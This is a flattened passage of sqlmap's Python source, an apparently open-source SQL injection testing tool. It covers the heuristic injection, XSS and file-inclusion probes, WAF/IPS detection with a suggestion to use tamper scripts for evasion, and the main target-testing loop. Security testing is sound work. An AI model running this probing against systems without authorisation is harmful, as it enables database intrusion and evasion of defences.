logger.debug(debugMsg) return None if kb.heavilyDynamic: debugMsg = "heuristic check skipped because of heavy dynamicity" logger.debug(debugMsg) return None origValue = conf.paramDict[place][parameter] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place prefix = "" suffix = "" randStr = "" if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix if conf.suffix: suffix = conf.suffix while randStr.count('\'') != 1 or randStr.count('\"') != 1: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) kb.heuristicMode = True payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.heuristicPage = page kb.heuristicMode = False parseFilePaths(page) result = wasLastResponseDBMSError() infoMsg = "heuristic (basic) test shows that %s parameter " % paramType infoMsg += "'%s' might " % parameter def _(page): return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) casting = _(page) and not _(kb.originalPage) if not casting and not result and kb.dynamicParameter and origValue.isdigit(): randInt = int(randomInt()) payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) result = Request.queryPage(payload, place, raise404=False) if not result: randStr = randomStr() payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) casting = Request.queryPage(payload, place, raise404=False) kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE if casting: errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter) errMsg += "at the back-end web application" logger.error(errMsg) if kb.ignoreCasted is None: message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: infoMsg += "be injectable" if Backend.getErrorParsedDBMSes(): infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warn(infoMsg) kb.heuristicMode = True randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place if value.lower() in (page or "").lower(): infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter logger.info(infoMsg) for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): infoMsg = "heuristic (FI) test shows that %s parameter " % paramType infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter logger.info(infoMsg) break kb.heuristicMode = False return kb.heuristicTest def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ if kb.redirectChoice: return None kb.matchRatio = None dynResult = None randInt = randomInt() paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place infoMsg = "testing if %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) except SqlmapConnectionException: pass result = None if dynResult is None else not dynResult kb.dynamicParameter = result return result def checkDynamicContent(firstPage, secondPage): """ This function checks for the dynamic content in the provided pages """ if kb.nullConnection: debugMsg = "dynamic content checking skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return if any(page is None for page in (firstPage, secondPage)): warnMsg = "can't check dynamic content " warnMsg += "because of lack of page content" logger.critical(warnMsg) return if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)): ratio = None else: try: seqMatcher = getCurrentThreadData().seqMatcher seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() except MemoryError: ratio = None if ratio is None: kb.skipSeqMatcher = True # In case of an intolerable difference turn on dynamicity removal engine elif ratio <= UPPER_RATIO_BOUND: findDynamicContent(firstPage, secondPage) count = 0 while not Request.queryPage(): count += 1 if count > conf.retries: warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warn(warnMsg) conf.textOnly = True return warnMsg = "target URL content appears to be heavily dynamic. " warnMsg += "sqlmap is going to retry the request(s)" singleTimeLogMessage(warnMsg, logging.CRITICAL) kb.heavilyDynamic = True secondPage, _, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) def checkStability(): """ This function checks if the URL content is stable requesting the same page two times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching (--string). """ infoMsg = "testing if the target URL content is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() delay = 1 - (time.time() - (kb.originalPageTime or 0)) delay = max(0, min(1, delay)) time.sleep(delay) secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) if kb.redirectChoice: return None kb.pageStable = (firstPage == secondPage) if kb.pageStable: if firstPage: infoMsg = "target URL content is stable" logger.info(infoMsg) else: errMsg = "there was an error checking the stability of page " errMsg += "because of lack of content. Please check the " errMsg += "page request results (and probable errors) by " errMsg += "using higher verbosity levels" logger.error(errMsg) else: warnMsg = "target URL content is not stable. sqlmap will base the page " warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " warnMsg += "'Page comparison'" logger.warn(warnMsg) message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " choice = readInput(message, default='C').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'S': showStaticWords(firstPage, secondPage) message = "please enter value for parameter 'string': " string = readInput(message) if string: conf.string = string if kb.nullConnection: debugMsg = "turning off NULL connection " debugMsg += "support because of string checking" logger.debug(debugMsg) kb.nullConnection = None else: errMsg = "Empty value supplied" raise SqlmapNoneDataException(errMsg) elif choice == 'R': message = "please enter value for parameter 'regex': " regex = readInput(message) if regex: conf.regex = regex if kb.nullConnection: debugMsg = "turning off NULL connection " debugMsg += "support because of regex checking" logger.debug(debugMsg) kb.nullConnection = None else: errMsg = "Empty value supplied" raise SqlmapNoneDataException(errMsg) else: checkDynamicContent(firstPage, secondPage) return kb.pageStable def checkString(): if not conf.string: return True infoMsg = "testing if the provided string is within the " infoMsg += "target URL page content" logger.info(infoMsg) page, headers, _ = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if conf.string not in rawResponse: warnMsg = "you provided '%s' as the string to " % conf.string warnMsg += "match, but such a string is not within the target " warnMsg += "URL raw response, sqlmap will carry on anyway" logger.warn(warnMsg) return True def checkRegexp(): if not conf.regexp: return True infoMsg = "testing if the provided regular expression matches within " infoMsg += "the target URL page content" logger.info(infoMsg) page, headers, _ = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if not re.search(conf.regexp, rawResponse, re.I | re.M): warnMsg = "you provided '%s' as the regular expression to " % conf.regexp warnMsg += "match, but such a regular expression does not have any " warnMsg += "match within the target URL raw response, sqlmap " warnMsg += "will carry on anyway" logger.warn(warnMsg) return True def checkWaf(): """ Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): return None _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) if _ is not None: if _: warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS/IDS" logger.critical(warnMsg) return _ if not kb.originalPage: return None infoMsg = "checking if the target is protected by " infoMsg += "some kind of WAF/IPS/IDS" logger.info(infoMsg) retVal = False payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) if PLACE.URI in conf.parameters: place = PLACE.POST value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) else: place = PLACE.GET value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) pushValue(conf.timeout) conf.timeout = IDS_WAF_CHECK_TIMEOUT try: retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: kb.matchRatio = None conf.timeout = popValue() if retVal: warnMsg = "heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS/IDS" logger.critical(warnMsg) if not conf.identifyWaf: message = "do you want sqlmap to try to detect backend " message += "WAF/IPS/IDS? [y/N] " if readInput(message, default='N', boolean=True): conf.identifyWaf = True if conf.timeout == defaults.timeout: logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT)) conf.timeout = IDS_WAF_CHECK_TIMEOUT hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) return retVal def identifyWaf(): if not conf.identifyWaf: return None if not kb.wafFunctions: setWafFunctions() kb.testMode = True infoMsg = "using WAF scripts to detect " infoMsg += "backend WAF/IPS/IDS protection" logger.info(infoMsg) @cachedmethod def _(*args, **kwargs): page, headers, code = None, None, None try: pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.NO if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False kwargs["silent"] = True page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass finally: kb.redirectChoice = popValue() return page or "", headers or {}, code retVal = [] for function, product in kb.wafFunctions: if retVal and "unknown" in product.lower(): continue try: logger.debug("checking for WAF/IPS/IDS product '%s'" % product) found = function(_) except Exception, ex: errMsg = "exception occurred while running " errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex)) logger.critical(errMsg) found = False if found: errMsg = "WAF/IPS/IDS identified as '%s'" % product logger.critical(errMsg) retVal.append(product) if retVal: if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) os.close(handle) with openFile(filename, "w+b") as f: f.write(kb.wafSpecificResponse) message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename message += "If you know the details on used protection please " message += "report it along with specific response " message += "to '%s'" % DEV_EMAIL_ADDRESS logger.warn(message) message = "are you sure that you want to " message += "continue with further target testing? [y/N] " choice = readInput(message, default='N', boolean=True) if not conf.tamper: warnMsg = "please consider usage of tamper scripts (option '--tamper')" singleTimeWarnMessage(warnMsg) if not choice: raise SqlmapUserQuitException else: warnMsg = "WAF/IPS/IDS product hasn't been identified" logger.warn(warnMsg) kb.testType = None kb.testMode = False return retVal def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ if conf.data: return False infoMsg = "testing NULL connection to the target URL" logger.info(infoMsg) pushValue(kb.pageCompress) kb.pageCompress = False try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.HEAD infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" logger.info(infoMsg) else: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): kb.nullConnection = NULLCONNECTION.RANGE infoMsg = "NULL connection is supported with GET method ('Range')" logger.info(infoMsg) else: _, headers, _ = Request.getPage(skipRead=True) if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.SKIP_READ infoMsg = "NULL connection is supported with 'skip-read' method" logger.info(infoMsg) except SqlmapConnectionException: pass finally: kb.pageCompress = popValue() return kb.nullConnection is not None def checkConnection(suppressOutput=False): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): try: debugMsg = "resolving hostname '%s'" % conf.hostname logger.debug(debugMsg) socket.getaddrinfo(conf.hostname, None) except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname raise SqlmapConnectionException(errMsg) except socket.error, ex: errMsg = "problem occurred while " errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) if not suppressOutput and not conf.dummy and not conf.offline: infoMsg = "testing connection to the target URL" logger.info(infoMsg) try: kb.originalPageTime = time.time() page, headers, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page kb.errorIsNone = False if not kb.originalPage and wasLastResponseHTTPError(): errMsg = "unable to retrieve page content" raise SqlmapConnectionException(errMsg) elif wasLastResponseDBMSError(): warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) elif wasLastResponseHTTPError(): if getLastRequestHTTPError() != conf.ignoreCode: warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) else: kb.errorIsNone = True threadData = getCurrentThreadData() if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: if conf.hostname in (threadData.lastRedirectURL[1] or "") and threadData.lastRedirectURL[1].startswith("https://"): conf.url = re.sub(r"https?://", "https://", conf.url) match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) port = match.group(1) if match else 443 conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url) except SqlmapConnectionException, ex: if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " warnMsg += "(e.g. 'ping6 -I eth0 %s') " % conf.hostname warnMsg += "prior to running sqlmap to avoid " warnMsg += "any addressing issues" singleTimeWarnMessage(warnMsg) if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): errMsg = getSafeExString(ex) logger.critical(errMsg) if conf.multipleTargets: return False msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " if readInput(msg, default='Y', boolean=True): raise SqlmapSilentQuitException else: kb.ignoreNotFound = True else: raise return True def checkInternet(): content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] return CHECK_INTERNET_VALUE in (content or "") def setVerbosity(): # Cross-referenced function raise NotImplementedError def setWafFunctions(): # Cross-referenced function raise NotImplementedError sqlmap-1.2.4/lib/controller/controller.py000066400000000000000000000737151326012263700205200ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import time from lib.controller.action import action from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkDynParam from lib.controller.checks import checkStability from lib.controller.checks import checkString from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.controller.checks import checkInternet from lib.controller.checks import checkNullConnection from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection from lib.controller.checks import identifyWaf from lib.core.agent import agent from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import isListLike from lib.core.common import parseTargetUrl from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes from lib.core.common import urlencode from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CONTENT_TYPE from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HOST_ALIASES from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv def _selectInjection(): """ Selection function for injection place, parameters and type. """ points = {} for injection in kb.injections: place = injection.place parameter = injection.parameter ptype = injection.ptype point = (place, parameter, ptype) if point not in points: points[point] = injection else: for key in points[point].keys(): if key != 'data': points[point][key] = points[point][key] or injection[key] points[point]['data'].update(injection['data']) if len(points) == 1: kb.injection = kb.injections[0] elif len(points) > 1: message = "there were multiple injection points, please select " message += "the one to use for following injections:\n" points = [] for i in xrange(0, len(kb.injections)): place = kb.injections[i].place parameter = kb.injections[i].parameter ptype = kb.injections[i].ptype point = (place, parameter, ptype) if point not in points: points.append(point) ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype message += "[%d] place: %s, parameter: " % (i, place) message += "%s, type: %s" % (parameter, ptype) if i == 0: message += " (default)" message += "\n" message += "[q] Quit" choice = readInput(message, default='0').upper() if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0: index = int(choice) elif choice == 'Q': raise SqlmapUserQuitException else: errMsg = "invalid choice" raise SqlmapValueException(errMsg) kb.injection = kb.injections[index] def _formatInjection(inj): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) for stype, sdata in inj.data.items(): title = sdata.title vector = sdata.vector comment = sdata.comment payload = agent.adjustLateValues(sdata.payload) if inj.place == PLACE.CUSTOM_HEADER: payload = payload.split(',', 1)[1] if stype == PAYLOAD.TECHNIQUE.UNION: count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: title = title.replace("columns", "column") elif comment: vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False if kb.testQueryCount > 0: header = "sqlmap identified the following injection point(s) with " header += "a total of %d HTTP(s) requests" % kb.testQueryCount else: header = "sqlmap resumed the following injection point(s) from stored session" if conf.api: conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" logger.warn(warnMsg) if conf.hpp: warnMsg = "changes made by HTTP parameter pollution are not " warnMsg += "included in shown payload content(s)" logger.warn(warnMsg) def _randomFillBlankFields(value): retVal = value if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): message = "do you want to fill blank fields with random values? [Y/n] " if readInput(message, default='Y', boolean=True): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): item = match.group("result") if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): if item[-1] == DEFAULT_GET_POST_DELIMITER: retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER)) else: retVal = retVal.replace(item, "%s%s" % (item, randomStr())) return retVal def _saveToHashDB(): injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) if not isListLike(injections): injections = [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) _ = dict() for injection in injections: key = (injection.place, injection.parameter, injection.ptype) if key not in _: _[key] = injection else: _[key].data.update(injection.data) hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True) _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True) if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS): hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True) if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) def _saveToResultsFile(): if not conf.resultsFP: return results = {} techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) for injection in kb.injections + kb.falsePositives: if injection.place is None or injection.parameter is None: continue key = (injection.place, injection.parameter, ';'.join(injection.notes)) if key not in results: results[key] = [] results[key].extend(injection.data.keys()) for key, value in results.items(): place, parameter, notes = key line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) conf.resultsFP.write(line) if not results: line = "%s,,,,%s" % (conf.url, os.linesep) conf.resultsFP.write(line) conf.resultsFP.flush() def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if '?' in targetUrl: firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = 